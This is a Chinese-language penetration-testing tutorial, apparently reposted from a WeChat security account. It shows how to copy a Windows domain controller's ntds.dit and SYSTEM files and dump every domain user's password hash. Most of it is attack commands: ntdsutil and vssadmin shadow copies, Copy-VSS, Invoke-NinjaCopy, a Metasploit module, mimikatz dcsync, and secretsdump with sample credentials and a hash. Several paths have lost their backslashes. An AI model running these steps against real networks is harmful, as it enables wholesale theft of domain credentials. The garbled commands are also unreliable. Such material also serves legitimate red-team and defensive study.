ntds.dit
ntds.dit包括三个主要表：数据表、链接表、sd表。所以只要在域渗透中能够获取到ntds.dit就可以获取到所有域用户的用户名和对应的hash，ntds.dit是加密的，需要获取system来解密。查看dit数据库可使用https://github.com/yosqueoy/ditsnap工具。
离线获取ntds.dit
vss快照方式
ntdsutil
ntdsutil snapshot "List All" quit quitntdsutil snapshot "List Mounted" quit quit
创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
挂载快照
ntdsutil snapshot "mount 521972bf-3b80-470c-aa9b-f40ee0f9be57" quit quit
复制出来ntds和system
copy C:$SNAP_202009131458_VOLUMEC$windowsNTDSntds.dit c:ntds.ditcopy C:$SNAP_202009131458_VOLUMEC$windowssystem32configSYSTEM c:SYSTEM
卸载和删除快照
ntdsutil snapshot "unmount {521972bf-3b80-470c-aa9b-f40ee0f9be57}" quit quitntdsutil snapshot "delete {521972bf-3b80-470c-aa9b-f40ee0f9be57}" quit quit
vssadmin
查看快照
vssadmin list shadows创建快照
vssadmin create shadow /for=c:
复制出来ntds和system
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy3windowsNTDSntds.dit c:ntds.ditcopy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy3windowssystem32configSYSTEM C:SYSTEM
删除快照
vssadmin delete shadows /for=c: /quietPS：直接是无法访问?快照中的内容的，需要创建链接才可以：
mklink/dc:vssfile\?GLOBALROOTDeviceHarddiskVolumeShadowCopy3
nishang:copy-vss.ps1
nishang的Copy-VSS.ps1可进行快捷的
开启ps执行脚本权限：
Set-ExecutionPolicy Unrestrictedcopy到当前目录：
Copy-VSSmsf:psexec_ntdsgrab
admin/smb/psexec_ntdsgrabNinjaCopy方式
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1
Set-ExecutionPolicy Unrestricted导入ps模块并导出ntds：
Import-Module .invoke-NinjaCopy.ps1Invoke-NinjaCopy -Path C:WindowsSystem32configSYSTEM -LocalDestination C:\systemInvoke-NinjaCopy -Path "C:windowsntdsntds.dit" -LocalDestination "C:\ntds.dit"
ntds.dit中提取hash
mimikatz
lsadump::dcsync /domain:fox.com /all /csvsecretsdump.py
secretsdump.py -ntds ./ntds.dit -system ./SYSTEM LOCAL
secretsdump.py fox/admintests:QWEqwe123@172.16.58.147或者secretsdump.py fox/admintests@172.16.58.147 -hashes aad3b435b51404eeaad3b435b51404ee:621cdf4b49c06ec28caa7a6cab4ebac8
QuarksPwDump.exe
esentutl /p /o ntds.dit再使用QuarksPwDump.exe进行提取
.QuarksPwDump.exe --dump-hash-domain --output userhash.txt --ntds-file .ntds.dit
NTDSDumpEx
.NTDSDumpEx.exe -d ntds.dit -s SYSTEM
本文始发于微信公众号（SecIN技术平台）：原创 | 域之ntds.dit
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论